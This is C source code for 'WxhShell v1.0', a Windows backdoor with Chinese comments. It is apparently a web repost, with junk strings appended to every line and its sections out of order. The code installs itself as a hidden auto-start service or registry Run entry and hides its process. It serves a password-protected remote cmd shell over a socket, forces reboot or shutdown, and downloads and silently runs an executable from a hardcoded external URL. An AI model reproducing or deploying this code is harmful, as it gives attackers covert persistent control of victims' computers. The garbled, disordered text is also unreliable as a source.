    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); !Xj m h$F  
    if(Boot(SHUTDOWN)) rjR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {Ue6DK %  
    else { "msg./iC  
    closesocket(wsh); >LU*F|F]B  
    ExitThread(0); [bOy, ^@4  
    } >PGm}s_  
    break; |_=jXf\TL  
    } w6 "LHy[  
  // 获取shell W'0wTZG  
  case 's': { oC[wYUDg  
    CmdShell(wsh); Yu1xJgl  
    closesocket(wsh); :6M0`V;L  
    ExitThread(0); $qrr]U  
    break; CWN=6(y  
  } Y+=@5+G  
  // 退出 (wY% $kW4  
  case 'x': { gCm?nb)  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Xs`:XATb/  
    CloseIt(wsh); ev guw*u  
    break; YHRI UY d  
    } &'](T9kg=  
  // 离开 Nm081ic2<  
  case 'q': { gaCGU<L  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); F#<P FT4i  
    closesocket(wsh); .$OInh  
    WSACleanup(); 1)PR]s:-m@  
    exit(1); ntkinbbD  
    break; /Bwea];^Q  
        } 8DI|+`OgW  
  } 7kwG_0QO  
  } p.}[!!m P  
p4AXQuOP  
  // 提示信息 e-K8K+7  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); q-3KF  
} D&^:hs@  
  } EqmJXDm  
BxT~1SBFq  
  return; N7jRdT2k%  
} Cg|uHI*  
88*RlxU  
// shell模块句柄 yR$_$N+E  
int CmdShell(SOCKET sock) ( gFA? aD<  
{ &sNID4FR  
STARTUPINFO si; aw4+1.xy  
ZeroMemory(&si,sizeof(si)); `x#~ -  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; GSFT(XX  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; t/D Q<B_  
PROCESS_INFORMATION ProcessInfo; 1*jL2P]D  
char cmdline[]="cmd"; N*MR6~z4  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 7cy~qg  
  return 0; xXYens}  
} B*AMo5  
R`?^%1^N  
// 自身启动模式 6;b 'j\jG  
int StartFromService(void) [;2:lbPx  
{ D vKM>P%|  
typedef struct bYgYP|@  
{ <EUSl|6  
  DWORD ExitStatus; "PHv~_:^R  
  DWORD PebBaseAddress; g|HrhUT;  
  DWORD AffinityMask; Zll^tF#  
  DWORD BasePriority; ^U?(g0<"  
  ULONG UniqueProcessId; 9M=K@a  
  ULONG InheritedFromUniqueProcessId; c\'pA^m 6  
}   PROCESS_BASIC_INFORMATION; ri;M7rg`.{  
.0-m=3mp2  
PROCNTQSIP NtQueryInformationProcess; ykeUS zz2  
Y_B 4s-  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; d&u/7rm  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 4a|Fx  
'9dtIW6E  
  HANDLE             hProcess; N9PM.nbd%  
  PROCESS_BASIC_INFORMATION pbi; [-gKkOT8E  
<khAc1"  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); UmE{>5Pt  
  if(NULL == hInst ) return 0; \|t0~sRwh  
_Xv/S_yW  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); >PVi 3S  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); @[RY8~  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 614/wI8(  
'nS3o.}  
  if (!NtQueryInformationProcess) return 0; 6V?RES;X  
XOwMT,=Z)  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); "poTM[]tZ7  
  if(!hProcess) return 0; =4 H K  
z{jAt6@7  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; D5b _m|7%  
c]r|I %D  
  CloseHandle(hProcess); NKKO A  
?t42=nvf  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); UhTr<(@  
if(hProcess==NULL) return 0; oI~Qo*4eh  
zs:7!  
HMODULE hMod; j1C.#-P[  
char procName[255]; wg.fo:Q  
unsigned long cbNeeded; {wXN kq  
@R&D["!  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); |Z^g\l.j{  
` W>B8  
  CloseHandle(hProcess); q$rA-`jw  
vUs7#*  
if(strstr(procName,"services")) return 1; // 以服务启动 O*{H;7Pv  
ncr-i!Jjk  
  return 0; // 注册表启动 hUxhYOp  
} 2vN(z %p  
%Nl(Y@dD*  
// 主模块 @e0skc  
int StartWxhshell(LPSTR lpCmdLine) [s{:}ZuKc  
{ f4T0Y["QA  
  SOCKET wsl; %pkq ?9  
BOOL val=TRUE; I?g__u=n~  
  int port=0; @qy*R'+  
  struct sockaddr_in door; b[;3KmUB  
'aP*++^   
  if(wscfg.ws_autoins) Install(); I<K/d  
`>EvT7u  
port=atoi(lpCmdLine); 5 hadA>d  
Hk*cO;c  
if(port<=0) port=wscfg.ws_port; }n%R l\p  
D>e\OfTR:  
  WSADATA data; l1Q+hz5"*U  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 5l/l]  
<^_Vl8%  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   o'C.,ic?C  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); U hhmG+  
  door.sin_family = AF_INET; ^!F5Cz 48  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); o=# [^Zv  
  door.sin_port = htons(port); }cej5/*  
v@uaf=x-  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { {4aY}= -Q*  
closesocket(wsl); mh7sY;SvM  
return 1; b N e\{k  
} H8]^f=  
%O=V4%"m\  
  if(listen(wsl,2) == INVALID_SOCKET) { Zt2@?w;  
closesocket(wsl); xM//]  
return 1; ]N"F?3J 8  
} X7d.Ie  
  Wxhshell(wsl); fP1OH&Ar  
  WSACleanup(); s8d}HI  
?EQ^n3U$  
return 0; 3e6Y  
z12But\<  
} X5|/s::u  
 5vF}F^  
// 以NT服务方式启动 qZsddll  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ~)a ;59<$  
{ 0s9z @>2  
DWORD   status = 0; k)K-mD``U  
  DWORD   specificError = 0xfffffff; c_bVF 'Bz  
`s> =Sn&UP  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ZHF(q6T  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; iq uTT~  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Rw\C0'  
  serviceStatus.dwWin32ExitCode     = 0; _+ 04M)q0  
  serviceStatus.dwServiceSpecificExitCode = 0; ?wf+{x-dPP  
  serviceStatus.dwCheckPoint       = 0; _6UAeZ*M  
  serviceStatus.dwWaitHint       = 0; <I%9O:R  
+aw>p_\  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); wV[V#KpX8-  
  if (hServiceStatusHandle==0) return; k\#-6evT  
7 Y>`-\  
status = GetLastError(); MR_bq_)  
  if (status!=NO_ERROR) RjGB#AK  
{ :-\ yy  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; %^5@z1d,  
    serviceStatus.dwCheckPoint       = 0; )uid!d  
    serviceStatus.dwWaitHint       = 0; soq".+Q  
    serviceStatus.dwWin32ExitCode     = status; 4JZHjf0M6  
    serviceStatus.dwServiceSpecificExitCode = specificError;  AMD?LjY~  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Sj{ia2AE_  
    return; rt^45~  
  } {rvbo1t  
t0J5v;  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; LJ(n?/z%  
  serviceStatus.dwCheckPoint       = 0; /uE^H%9h  
  serviceStatus.dwWaitHint       = 0; [)SR $/A  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ^[,s_34V  
} ~x4B/zW?  
oCKM5AVWsv  
// 处理NT服务事件,比如:启动、停止 Hg9.<|+yo  
VOID WINAPI NTServiceHandler(DWORD fdwControl) <@e+-$  
{ |[37:m  
switch(fdwControl) N~$Zeq=  
{ ~kYqGH  
case SERVICE_CONTROL_STOP: ytve1<.Ff  
  serviceStatus.dwWin32ExitCode = 0; XJ h:U0  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; +|?|8"Qg  
  serviceStatus.dwCheckPoint   = 0; IjDT'p_  
  serviceStatus.dwWaitHint     = 0; j:e^7|.   
  { `N,Vs n"  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); D=~B7b:  
  } @v ~ Pwr!  
  return; SCurO9RN  
case SERVICE_CONTROL_PAUSE: wVp4c?s  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; {x|kg;  
  break; E./__Mz@  
case SERVICE_CONTROL_CONTINUE: Sc/`=h]T  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; :G`L3E&1s  
  break; TsX+. i'  
case SERVICE_CONTROL_INTERROGATE: 9PKoNd^e  
  break; H9~%#&fF  
}; #A3v]'7B  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~n/Aq*  
} *vRI)>wU  
J`r,_)J"2  
// 标准应用程序主函数 XD^ dlL  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) _;e!ZZLG  
{ *t.q m5h  
whY~=lizn  
// 获取操作系统版本 afY_9g!\  
OsIsNt=GetOsVer(); 8Z dUPW\e  
GetModuleFileName(NULL,ExeFile,MAX_PATH); $,KP]~?  
w#xeua|*I#  
  // 从命令行安装 7<3U?]0  
  if(strpbrk(lpCmdLine,"iI")) Install(); z+k=|RMau  
7?MB8tJ5r4  
  // 下载执行文件 zkh hN"bX  
if(wscfg.ws_downexe) { oQ%\[s$  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) g8I!E$  
  WinExec(wscfg.ws_filenam,SW_HIDE); 3^\?>C7  
} hD_5~d  
JY2/YDJ  
if(!OsIsNt) { }Kj Ju;  
// 如果时win9x,隐藏进程并且设置为注册表启动 n5v'  
HideProc(); lMC{SfdH  
StartWxhshell(lpCmdLine); cq,v1Y<  
} 382*  
else b " ")BT  
  if(StartFromService()) jC%35bi  
  // 以服务方式启动 ym|NT0_0  
  StartServiceCtrlDispatcher(DispatchTable); dI^IK  
else 6 u-$  
  // 普通方式启动 /mn-+u`K  
  StartWxhshell(lpCmdLine); h(@R]GUX  
<)O >MI' 4  
return 0; ~H^'al2PK  
} > -y&$1  
:reP} Da7q  
3`A>j"  
i<T P:  
=========================================== pWs\.::B  
+Qh[sGDdY  
](W5.a,-$L  
D XV@DQ  
7}4'dW.  
<nWKR,  
" , 3X: )  
TN35CaSmq  
#include <stdio.h> F{k$Atb?g/  
#include <string.h> jt{9e:2%  
#include <windows.h> >Mvka;T]  
#include <winsock2.h> yiV G ]s  
#include <winsvc.h> (j' {~FB  
#include <urlmon.h> #:J: YMv  
*@_u4T7|{  
#pragma comment (lib, "Ws2_32.lib") keLR1qf  
#pragma comment (lib, "urlmon.lib") 7]Al*)  
D~#Ei?aH  
#define MAX_USER   100 // 最大客户端连接数 %K[daXw6E8  
#define BUF_SOCK   200 // sock buffer :O $@shV  
#define KEY_BUFF   255 // 输入 buffer  nbI= r+  
AGOx@;w  
#define REBOOT     0   // 重启 I-b_h5ZD6  
#define SHUTDOWN   1   // 关机 VF)uu[ f9  
Y1{B c<tC  
#define DEF_PORT   5000 // 监听端口 D ]OD.  
HA6G)x  
#define REG_LEN     16   // 注册表键长度 . yZm^&  
#define SVC_LEN     80   // NT服务名长度 QsiJ%O Q  
Q>.BQ;q]  
// 从dll定义API ^0^( u  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ,;_rIO"  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); egm)a   
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Sd},_Kh  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 43zUN  
*q0`})IQ  
// wxhshell配置信息 R7K!A %  
struct WSCFG { ''IoC j  
  int ws_port;         // 监听端口 \6sqyWI %  
  char ws_passstr[REG_LEN]; // 口令 zZ%DtxUoU.  
  int ws_autoins;       // 安装标记, 1=yes 0=no kt^yj"C>  
  char ws_regname[REG_LEN]; // 注册表键名 NYBe"/}GS  
  char ws_svcname[REG_LEN]; // 服务名 KOjluP  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 gQ37>  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 0rD#s{?   
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 57~Uqt  
int ws_downexe;       // 下载执行标记, 1=yes 0=no nV}8M  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" (}Sr08m  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 >$\Bu]{1  
z3a-+NjDm  
}; }e 9!xA  
4qhWm"&CM  
// default Wxhshell configuration 5[C~wvO  
struct WSCFG wscfg={DEF_PORT, n`q2s'Pc  
    "xuhuanlingzhe", @mf({Q>  
    1, g\U/&.}DN  
    "Wxhshell", oid[syPB  
    "Wxhshell", UVz/n68\k7  
            "WxhShell Service", 845 W>B  
    "Wrsky Windows CmdShell Service", ?i~g,P]NK  
    "Please Input Your Password: ", Cq>6rn  
  1, < f(?T`  
  "http://www.wrsky.com/wxhshell.exe", kbxg_UI;  
  "Wxhshell.exe" f~ =r*&U  
    }; X7aYpt;  
I&Jt> O4  
// 消息定义模块 &D]p,  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; m9$a"$c  
char *msg_ws_prompt="\n\r? for help\n\r#>"; )6{< i5nJ\  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Nt]qVwUm'Y  
char *msg_ws_ext="\n\rExit."; #;[Bl=3(  
char *msg_ws_end="\n\rQuit."; w u)Wg-dT  
char *msg_ws_boot="\n\rReboot..."; B**Nn!}0  
char *msg_ws_poff="\n\rShutdown..."; ,_jC$  
char *msg_ws_down="\n\rSave to "; hN   
whye)w  
char *msg_ws_err="\n\rErr!"; hQRL,?  
char *msg_ws_ok="\n\rOK!"; dAc ?O-~  
`0bP0^w  
char ExeFile[MAX_PATH]; a?F!,=F  
int nUser = 0; gZO&r#   
HANDLE handles[MAX_USER]; m:uPEpcU  
int OsIsNt; rn8cdM N  
+r]zs^'  
SERVICE_STATUS       serviceStatus; hmpr%(c`  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; VfSj E.|  
4zjs!AK%  
// 函数声明 jV O{$j  
int Install(void); k?*KnfVh!  
int Uninstall(void); \OQkZ.cU;  
int DownloadFile(char *sURL, SOCKET wsh); VT\ "q1)p  
int Boot(int flag); J0Z7 l  
void HideProc(void); -fy9<  
int GetOsVer(void); [Wi 1|]X"G  
int Wxhshell(SOCKET wsl); "l7NWqfB  
void TalkWithClient(void *cs); e(?]SU|  
int CmdShell(SOCKET sock); VwyVEZt  
int StartFromService(void); WBr59@V  
int StartWxhshell(LPSTR lpCmdLine); d$t40+v  
V`kMCE;?l  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); o*5U:'=5}  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); &c>?~-!W  
cA)[XpQ:+W  
// 数据结构和表定义 nhT-Ido  
SERVICE_TABLE_ENTRY DispatchTable[] = 7f3O  
{ L\%orLEmK  
{wscfg.ws_svcname, NTServiceMain}, k&/OU:7Y  
{NULL, NULL} .uF[C{RnO  
}; nXy>7H[0  
t `kui.  
// 自我安装 g%nl!dgS  
int Install(void) $pyOn2}  
{ [P~hjmJ(y  
  char svExeFile[MAX_PATH]; aNxAZMg  
  HKEY key; eJ0?=u!x  
  strcpy(svExeFile,ExeFile); &V7M}@  
k(t}^50^j  
// 如果是win9x系统,修改注册表设为自启动 iK5_u2]Q  
if(!OsIsNt) { bq>_qpr  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { b2,!g }I  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *=AqM14 @  
  RegCloseKey(key); bD ^b  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { h[o6-f<D  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); zZ=pP5y8  
  RegCloseKey(key); #P<N^[m  
  return 0; n/~A`%E@  
    } zCv"]%  
  } #bH_Dg5I  
} _ :Ag?2  
else { ?W>qUrZ  
qpIC{'A.  
// 如果是NT以上系统,安装为系统服务 TaE~s  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); iOAbaPN  
if (schSCManager!=0) x'<K\qp{{  
{ zcrY>t#l  
  SC_HANDLE schService = CreateService V#REjsf,t-  
  ( #@HF<'H}mu  
  schSCManager, 6;'dUGvH  
  wscfg.ws_svcname, d?wc*N3  
  wscfg.ws_svcdisp, M(x$xAiD  
  SERVICE_ALL_ACCESS, b~=0[Rv  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , t>=fTkB  
  SERVICE_AUTO_START, 1u3, '8F  
  SERVICE_ERROR_NORMAL, Rk!X]-`=  
  svExeFile, \K`L3*cBKK  
  NULL, fGhn+8VfX  
  NULL, v6.t{6zYgY  
  NULL, 'k;rH !R  
  NULL, s\!>"J bAQ  
  NULL #$1Z  
  ); k:jSbbQ  
  if (schService!=0) 4}+/F}TbJ5  
  { Od f[*  
  CloseServiceHandle(schService); .p0Clr!  
  CloseServiceHandle(schSCManager); HY)-/  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); v ~QHMg  
  strcat(svExeFile,wscfg.ws_svcname); HK`I\,K  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ZKHG!`X0  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); J'$>Gk]  
  RegCloseKey(key); @)o^uU T  
  return 0; !?c|XdjZ  
    } 8Nu=^[qwQM  
  } ^nbnbU4'  
  CloseServiceHandle(schSCManager); iQDx{m3]  
} V"c 6Kdtd  
} =[b)1FUp  
RuII!}*  
return 1;  (x/k.&  
} X 1 57$  
, ]bB9tid  
// 自我卸载 [!!Q,S"  
int Uninstall(void) _ODbY;M  
{ ,eTU/Q>{,&  
  HKEY key; C74a(Bk}H  
/c uLc^(X  
if(!OsIsNt) { }zhGS!fO  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { wgCa58H76  
  RegDeleteValue(key,wscfg.ws_regname); M#(+c_(r  
  RegCloseKey(key); *G* k6.9W!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8Z(Mvq]f&  
  RegDeleteValue(key,wscfg.ws_regname); : q#Xq;Wp  
  RegCloseKey(key); :Nofp&  
  return 0; n{6G"t:^l  
  } !pD*p)`s  
} 0u\GO;  
} ?@E!u|]K  
else { E? _Z`*h  
gNt(,_]ZR  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ZYC<Wb)I  
if (schSCManager!=0) (J z1vEEV  
{ xlQBe-Wg  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 293M\5:  
  if (schService!=0) #O+),,WS  
  { l1f\=G?tmU  
  if(DeleteService(schService)!=0) { V4_=<W  
  CloseServiceHandle(schService); 6I%5Q4Ll  
  CloseServiceHandle(schSCManager); e)(wss+d7P  
  return 0; nDHTV !]<  
  } oH_;4QU4y  
  CloseServiceHandle(schService); =3L;Z[^9  
  } Uu`9 "  
  CloseServiceHandle(schSCManager); )ubiB^g'm  
} gP;&e:/3  
} S:O O0<W  
xL\0B,]  
return 1; r,h%[JKM  
} DQ r Y*nH  
RJd(~1  
// 从指定url下载文件 3.*8)NW  
int DownloadFile(char *sURL, SOCKET wsh) ))"6ern  
{ ;C2K~8,  
  HRESULT hr; U|IzXQX(  
char seps[]= "/"; [Al&  
char *token;  iKT[=c  
char *file; cLLbZ=`  
char myURL[MAX_PATH]; iv4H#rJ  
char myFILE[MAX_PATH]; !wNr3LG  
c-(UhN3WG  
strcpy(myURL,sURL); ]7RD"}  
  token=strtok(myURL,seps); d8c=L8~jt  
  while(token!=NULL) G|!on<l&  
  { (jAg_$6  
    file=token; <$IM8Y5p+w  
  token=strtok(NULL,seps); V=o t-1,j7  
  } h-` }L=  
njputEGX  
GetCurrentDirectory(MAX_PATH,myFILE); >&}%+r\  
strcat(myFILE, "\\"); >s<^M|S07  
strcat(myFILE, file); #T'{ n1AI  
  send(wsh,myFILE,strlen(myFILE),0); ++`0rY%  
send(wsh,"...",3,0); LGw$v[wb  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); $7^o#2 B  
  if(hr==S_OK) 7t0e r'VC  
return 0; Pu"P9  
else OWg(#pZk  
return 1; QC}CRkp  
E? ; 0)'h  
} .nx2";oi  
` 2V19 s]  
// 系统电源模块 oYm[V<nIl  
int Boot(int flag) nH[yJGZYSA  
{ Wa{`VS  
  HANDLE hToken; [q8 P~l  
  TOKEN_PRIVILEGES tkp; )QU  
! t?iXZ  
  if(OsIsNt) { @emK1iwm  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Ezd_`_@R  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); D$I5z.a  
    tkp.PrivilegeCount = 1; wNpTM8rfU#  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; j}.\]$J  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); CDK 5  
if(flag==REBOOT) { !xo{-@@wS  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) /}b03  
  return 0; rrik,qyv6  
} Nh_Mz;ITuu  
else { B#Vz#y  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) r{L> F]Tw  
  return 0; 4R1<nZ"e~  
} vunHNHltW0  
  } Lr~=^{  
  else { (ROY?5 @c  
if(flag==REBOOT) { Y[}>CYO  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) wsI`fO^A8  
  return 0; K;?m';z0  
} Qp_isU  
else { Bg x'9p/  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 3z{?_;bR  
  return 0; gd`!tRcNY  
} i@"@9n~  
} +M\`#i\g>  
q_A!'sm@)  
return 1; Vt:~q{9*k  
} vqDu(6!2  
(MxQ+D\  
// win9x进程隐藏模块 !>..Q)z  
void HideProc(void) \ `~Ly-  
{ }v}P .P  
S2sQOM@  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); jFL #s&ft  
  if ( hKernel != NULL ) Jh,]r?Bd  
  { cUKE   
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); e>+i>/Fn{h  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 5Ha9lM2gh  
    FreeLibrary(hKernel);  mHdA2  
  } i&bA2p3+d  
nP$Ky1y G  
return; v_+{'F  
} PUp6Q;AdQ  
H<i]V9r  
// 获取操作系统版本 c|e~BQdRw  
int GetOsVer(void) [%y';`( x  
{ [1g8*j~L  
  OSVERSIONINFO winfo; AG`L64B  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); A5c%SCq;  
  GetVersionEx(&winfo); /?5 1D@  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) +Vb.lH[av  
  return 1; LDgrR[  
  else Rr&h!YMb  
  return 0; JjtNP)We  
} ,<(}|go   
:}'=`wa  
// 客户端句柄模块 >%}C^gu)  
int Wxhshell(SOCKET wsl) 6m* QX+  
{ 3]}D`Qs6  
  SOCKET wsh; % ?0:vn  
  struct sockaddr_in client; @vC4[:"pD}  
  DWORD myID; N7b8m?!  
{f3YsM;]C  
  while(nUser<MAX_USER) 3% #3iZ=_  
{ nv*FT  
  int nSize=sizeof(client); +rd|A|hRq  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); vyNxT*,[K  
  if(wsh==INVALID_SOCKET) return 1; sBj(Qd  
_hAcJ{Y  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 5d Eh7XL  
if(handles[nUser]==0) SYAyk  
  closesocket(wsh); Pr':51(  
else a!6{:8Zi0  
  nUser++; deBY5|  
  } q/4J.j L  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 9UdM`v)(  
rK'L6o  
  return 0; =upeRY@u5  
} !![DJ  
X9v.1s,  
// 关闭 socket w1EXh  
void CloseIt(SOCKET wsh) -; s|  
{ xI#9  
closesocket(wsh); !#], hok8X  
nUser--; oR)Jznmi}  
ExitThread(0); ;#g"(  
} U6glp@s  
Q|S.R1L^  
// 客户端请求句柄 l+xX/A)  
void TalkWithClient(void *cs) jFQQ`O V  
{ 2V- 16Q'%  
!E<[JM  
  SOCKET wsh=(SOCKET)cs; (5$!MUS~9  
  char pwd[SVC_LEN]; Ec3}_`  
  char cmd[KEY_BUFF]; |7'df&CA  
char chr[1]; \(?rQg@U  
int i,j; CM/H9Kz.  
$O&b``  
  while (nUser < MAX_USER) { pA'4|ffwe  
zqimR#u  
if(wscfg.ws_passstr) { b z`+k,*  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); B nFwlw  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); dP9qSwTa  
  //ZeroMemory(pwd,KEY_BUFF); b6 cBg  
      i=0; -]0OKE&  
  while(i<SVC_LEN) { =Gpylj7?~  
^n*)7K[  
  // 设置超时 f%is~e~wc  
  fd_set FdRead; -^&<Z 0m  
  struct timeval TimeOut; Zi*2nv '  
  FD_ZERO(&FdRead); 2%DSUv:H%  
  FD_SET(wsh,&FdRead); vv72x]  
  TimeOut.tv_sec=8; "Gsc;X'id  
  TimeOut.tv_usec=0; *>Ns_su7W  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); TH%Qhv\]  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ;v}GJ<3  
j$M h + 5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); wcrCEX=I>{  
  pwd=chr[0]; -o ^7r@6  
  if(chr[0]==0xd || chr[0]==0xa) { U$O\f18  
  pwd=0; wT6"U$cV  
  break; ~Otq %MQ  
  } h9t$Uz^N  
  i++; [>jbhV'  
    } ]AINK UI0  
|U:k,YH  
  // 如果是非法用户,关闭 socket r<9Iof4  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); j@n)kPo,1  
} rMdt:`  
?h$NAL?  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); b)6D_Az7c  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \o z#l'z  
iFd+2S%  
while(1) { TJ10s%,V  
8H%;WU9-  
  ZeroMemory(cmd,KEY_BUFF); iN bIp"W  
}5ret  
      // 自动支持客户端 telnet标准   vNyf64)  
  j=0; D>`xzt'.6  
  while(j<KEY_BUFF) { /j #n  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .M qP_Z',  
  cmd[j]=chr[0]; @CpfP;*{w`  
  if(chr[0]==0xa || chr[0]==0xd) { d6Ht2  
  cmd[j]=0; "|x^|n8i  
  break; %v=*Wb\3|  
  } =ElO?9&  
  j++; DBo%fYst  
    } |)IlMG  
dH;8mb|#'  
  // 下载文件 X2#2C/6#u  
  if(strstr(cmd,"http://")) { ,1y@Z 5wy  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); {kA0z2Fe  
  if(DownloadFile(cmd,wsh)) Yk'XGr)  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); y`L>wq,KU  
  else 8EZ$g<}  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  |tKsgj  
  } fW{(lPx  
  else { +KF^Z$I  
Q7HRzA^-  
